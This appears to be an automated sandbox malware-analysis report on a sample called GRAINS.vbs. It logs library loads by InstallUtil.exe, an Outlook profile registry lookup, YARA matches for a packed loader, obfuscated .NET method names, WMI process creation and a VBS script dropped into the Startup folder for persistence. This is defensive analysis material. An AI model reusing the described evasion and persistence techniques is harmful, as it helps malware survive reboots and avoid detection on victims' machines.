Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: amsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: userenv.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasapi32.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasman.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rtutils.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mswsock.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winhttp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dnsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winnsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: vaultcli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wintypes.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: secur32.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: schannel.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ntasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ncrypt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: msasn1.dll

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\GRAINS.vbs.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Outlook\Profiles

Jump to behavior

Source: GRAINS.vbs

Static file information: File size 2358061 > 1048576

Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: GRAINS.vbs.exe, 00000004.00000002.1571178219.000000000A4A0000.00000004.08000000.00040000.00000000.sdmp, GRAINS.vbs.exe, 00000004.00000002.1515150880.00000000054A4000.00000004.00000800.00020000.00000000.sdmp, Xml.vbs.exe, 0000000C.00000002.1671358982.0000000004C02000.00000004.00000800.00020000.00000000.sdmp, Xml.vbs.exe, 0000000C.00000002.1748760393.0000000009752000.00000004.00000800.00020000.00000000.sdmp, Xml.vbs.exe, 0000000C.00000002.1748760393.00000000096FB000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: GRAINS.vbs.exe, 00000004.00000002.1571178219.000000000A4A0000.00000004.08000000.00040000.00000000.sdmp, GRAINS.vbs.exe, 00000004.00000002.1515150880.00000000054A4000.00000004.00000800.00020000.00000000.sdmp, Xml.vbs.exe, 0000000C.00000002.1671358982.0000000004C02000.00000004.00000800.00020000.00000000.sdmp, Xml.vbs.exe, 0000000C.00000002.1748760393.0000000009752000.00000004.00000800.00020000.00000000.sdmp, Xml.vbs.exe, 0000000C.00000002.1748760393.00000000096FB000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: powershell.pdbUGP source: GRAINS.vbs.exe, 00000004.00000000.1471078085.0000000000D91000.00000020.00000001.01000000.00000005.sdmp, Xml.vbs.exe, 0000000C.00000000.1627072996.0000000000C28000.00000020.00000001.01000000.00000009.sdmp, Xml.vbs.exe.10.dr, GRAINS.vbs.exe.2.dr
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: GRAINS.vbs.exe, 00000004.00000002.1552432393.0000000009E9C000.00000004.00000800.00020000.00000000.sdmp, GRAINS.vbs.exe, 00000004.00000002.1552432393.0000000009C4F000.00000004.00000800.00020000.00000000.sdmp, GRAINS.vbs.exe, 00000004.00000002.1569852550.000000000A3C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: GRAINS.vbs.exe, 00000004.00000002.1552432393.0000000009E9C000.00000004.00000800.00020000.00000000.sdmp, GRAINS.vbs.exe, 00000004.00000002.1552432393.0000000009C4F000.00000004.00000800.00020000.00000000.sdmp, GRAINS.vbs.exe, 00000004.00000002.1569852550.000000000A3C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: powershell.pdb source: GRAINS.vbs.exe, 00000004.00000000.1471078085.0000000000D91000.00000020.00000001.01000000.00000005.sdmp, Xml.vbs.exe, 0000000C.00000000.1627072996.0000000000C28000.00000020.00000001.01000000.00000009.sdmp, Xml.vbs.exe.10.dr, GRAINS.vbs.exe.2.dr

Data Obfuscation

.NET source code contains method to dynamically call methods (often used by packers)

Source: 4.2.GRAINS.vbs.exe.9b4f498.11.raw.unpack, BoXsfZ1YyrahlENUJle.cs

.Net Code: Type.GetTypeFromHandle(HE4vj7dGsSMComrH289.QiSvMMZkY1(16777347)).GetMethod("GetDelegateForFunctionPointer", new Type[2]{Type.GetTypeFromHandle(HE4vj7dGsSMComrH289.QiSvMMZkY1(16777252)),Type.GetTypeFromHandle(HE4vj7dGsSMComrH289.QiSvMMZkY1(16777284))})

.NET source code contains potential unpacker

Source: 4.2.GRAINS.vbs.exe.9e4c938.7.raw.unpack, TypeModel.cs	.Net Code: TryDeserializeList
Source: 4.2.GRAINS.vbs.exe.9e4c938.7.raw.unpack, ListDecorator.cs	.Net Code: Read
Source: 4.2.GRAINS.vbs.exe.9e4c938.7.raw.unpack, TypeSerializer.cs	.Net Code: CreateInstance
Source: 4.2.GRAINS.vbs.exe.9e4c938.7.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateInstance
Source: 4.2.GRAINS.vbs.exe.9e4c938.7.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateIfNull
Source: 4.2.GRAINS.vbs.exe.a3c0000.12.raw.unpack, TypeModel.cs	.Net Code: TryDeserializeList
Source: 4.2.GRAINS.vbs.exe.a3c0000.12.raw.unpack, ListDecorator.cs	.Net Code: Read
Source: 4.2.GRAINS.vbs.exe.a3c0000.12.raw.unpack, TypeSerializer.cs	.Net Code: CreateInstance
Source: 4.2.GRAINS.vbs.exe.a3c0000.12.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateInstance
Source: 4.2.GRAINS.vbs.exe.a3c0000.12.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateIfNull

Yara detected Costura Assembly Loader

Source: Yara match	File source: 12.2.Xml.vbs.exe.9576718.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.GRAINS.vbs.exe.8ce0000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.GRAINS.vbs.exe.9de6718.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.GRAINS.vbs.exe.9c4f4b8.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.1515150880.00000000053A8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1551971360.0000000008CE0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1552432393.0000000009C4F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.1671358982.0000000004A28000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.1748760393.0000000009576000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: GRAINS.vbs.exe PID: 6872, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Xml.vbs.exe PID: 4884, type: MEMORYSTR

Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Code function: 4_2_04F426AF push eax; ret	4_2_04F426C9
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Code function: 4_2_078E6D80 push eax; iretd	4_2_078E6E31
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Code function: 4_2_078E6D7B push eax; iretd	4_2_078E6E31
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Code function: 4_2_0A3B81E0 push esp; ret	4_2_0A3B81E1
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Code function: 4_2_0A4831DF push ecx; iretd	4_2_0A4831E0
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Code function: 4_2_0A48C430 pushfd ; iretd	4_2_0A48C431
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Code function: 4_2_0A489CFF push 4400005Eh; iretd	4_2_0A489D09
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Code function: 4_2_0A533643 push E802E15Eh; retf	4_2_0A533661
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Code function: 4_2_0A533663 push E801EA5Eh; ret	4_2_0A533669
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Code function: 4_2_0A533633 push E807B45Eh; iretd	4_2_0A533639
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Code function: 4_2_0A53A919 push 000A440Fh; ret	4_2_0A53A925
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Code function: 4_2_0A7E5FA4 push esi; retn 0000h	4_2_0A7E5FAB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_06AA11B0 push es; ret	6_2_06AA11C0
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Code function: 12_2_09AA81E0 push esp; ret	12_2_09AA81E1
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Code function: 12_2_09B731DF push ecx; iretd	12_2_09B731E0
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Code function: 12_2_09B7C430 pushfd ; iretd	12_2_09B7C431
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Code function: 12_2_09C27084 push eax; retn 0009h	12_2_09C27085
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Code function: 12_2_09C23AC0 pushad ; retf	12_2_09C23AC1
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Code function: 12_2_09ED2568 push cs; iretd	12_2_09ED256F
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Code function: 12_2_09ED5FA4 push esi; retn 0000h	12_2_09ED5FAB
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Code function: 12_2_09ED1E21 push ss; iretd	12_2_09ED1E28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 14_2_0136F070 push es; ret	14_2_0136F07C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 14_2_06CF0BCF push es; iretd	14_2_06CF0BD2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 14_2_06CF0BBF push es; iretd	14_2_06CF0BCE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 14_2_06CF11B0 push es; ret	14_2_06CF11C0

Source: 4.2.GRAINS.vbs.exe.9b4f498.11.raw.unpack, AssemblyLoader.cs	High entropy of concatenated method names: 'CultureToString', 'ReadExistingAssembly', 'CopyTo', 'LoadStream', 'LoadStream', 'ReadStream', 'ReadFromEmbeddedResources', 'ResolveAssembly', 'Attach', 'NBYRhWFcwXKON6hF68i'
Source: 4.2.GRAINS.vbs.exe.9b4f498.11.raw.unpack, z4jI6v1SEFOYWtNW97I.cs	High entropy of concatenated method names: 'SaQ184pjNl', 'GCs17ZqHxw', 'Ra2ibWqYRaRLjF4I6fr', 'WtEn19qTwc7TVKMZFtD', 'Kj8Fu4qUxkbFnint8ji', 'zEhS3cqql5mCEyZpHXj', 'DuAObHqFTG3EDuKDQAK', 'Dy1pLPqZSyBB8VekMWa', 'ErFmAeqxqehO4r7P3ZB', 'GE54kDqWHAmX2XsoyWt'
Source: 4.2.GRAINS.vbs.exe.9b4f498.11.raw.unpack, BoXsfZ1YyrahlENUJle.cs	High entropy of concatenated method names: 'Dy0pBlFFMYolOmTsVKY', 'aGNINoFZ6URbnubX8Fq', 'IDwddHDMix', 'HiZjojF605WQSuaEQIT', 'i3VCiOFvugFya6eAOZB', 'u43o5uFrXtBOgugRCqW', 'gkbSp2Fguj55AgqhPs5', 'lvx1fTFb58uDT1Dnwgj', 'RaeqMLFAwa8egM8FGuc', 'thdURJFVLfon4cI3wNw'
Source: 4.2.GRAINS.vbs.exe.9b4f498.11.raw.unpack, HE4vj7dGsSMComrH289.cs	High entropy of concatenated method names: 'QiSvMMZkY1', 'BCOv3hSSaq', 'FsgjUHZciY4MYeTnZ71', 'x3G7wDZ1SG5eIOjsk8J', 'oiJEFAZmkWq8NaqsHw6', 'RSJj2sZdgCfDo0p5tsZ', 'HUWbN9ZRxTtuUbPXwxm', 'BBsWjGZDGsvsnhd2P9c'
Source: 4.2.GRAINS.vbs.exe.9b4f498.11.raw.unpack, iEOe7mdzsGg3Fgjux03.cs	High entropy of concatenated method names: 'WqtNEmHgvy', 'lxyNnT3unB', 'UgWNyaFRbw', 'HZKNJbWpKc', 'jp8NOMWvdo', 'rh0NouTssV', 'fvRNilu0ID', 'xvTRQEYU9B', 'VtmNu5Dxmd', 'SnJNGsZRO3'
Source: 4.2.GRAINS.vbs.exe.9b4f498.11.raw.unpack, CviUuUdT7SKUFfsRKB8.cs	High entropy of concatenated method names: 'XMkdbg13Yd', 'SV4dAZOjbm', 'SOhdVWe94F', 'Xfxds8IpQ5', 'tZkdk40c2E', 'cJTd21ltZh', 'hvpdPlMH77', 'BrkdpNMhma', 'qUGdBthaf4', 'QS7dhAVVYL'
Source: 4.2.GRAINS.vbs.exe.9b4f498.11.raw.unpack, TIoFCX9GMUXxKBI0sSC.cs	High entropy of concatenated method names: 'iQ79lZwbP2', 'BsS9HGkjfo', 'MEM9YQHj8C', 'dkg9Tsq1y8', 'c3v9UoRJqF', 'M1NEGUTS1L6ert588Oo', 'bFdo1NTNXdYXblqr9C0', 'mKdydXT8sDUMbGKinWV', 'lrMULqT7aAjBxU3wGxq', 'UXOp1iTCTBeMSm5WHRv'
Source: 4.2.GRAINS.vbs.exe.9b4f498.11.raw.unpack, o52m2bXcqMxEl3xeALh.cs	High entropy of concatenated method names: 'bdvXmxXyPI', 'Uk1XRquHIx', 'q6iXjwsaI6', 'ahDXaBg1bm', 'cXwXSYv4GV', 'HNLXNPQaOG', 'wM3X89FlDR', 'bPCX7aZ2pq', 'uC0XCGVOea', 'vDCXftEmIm'

Persistence and Installation Behavior

Creates processes via WMI

Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create

Source: C:\Windows\System32\cmd.exe	File created: C:\Users\user\Desktop\GRAINS.vbs.exe			Jump to dropped file
Source: C:\Windows\System32\cmd.exe	File created: C:\Users\user\AppData\Roaming\Xml.vbs.exe			Jump to dropped file

Boot Survival

Drops VBS files to the startup folder

Source: C:\Users\user\Desktop\GRAINS.vbs.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xml.vbs

Jump to dropped file

Source: C:\Users\user\Desktop\GRAINS.vbs.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xml.vbs

Jump to behavior

Source: C:\Users\user\Desktop\GRAINS.vbs.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xml.vbs

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
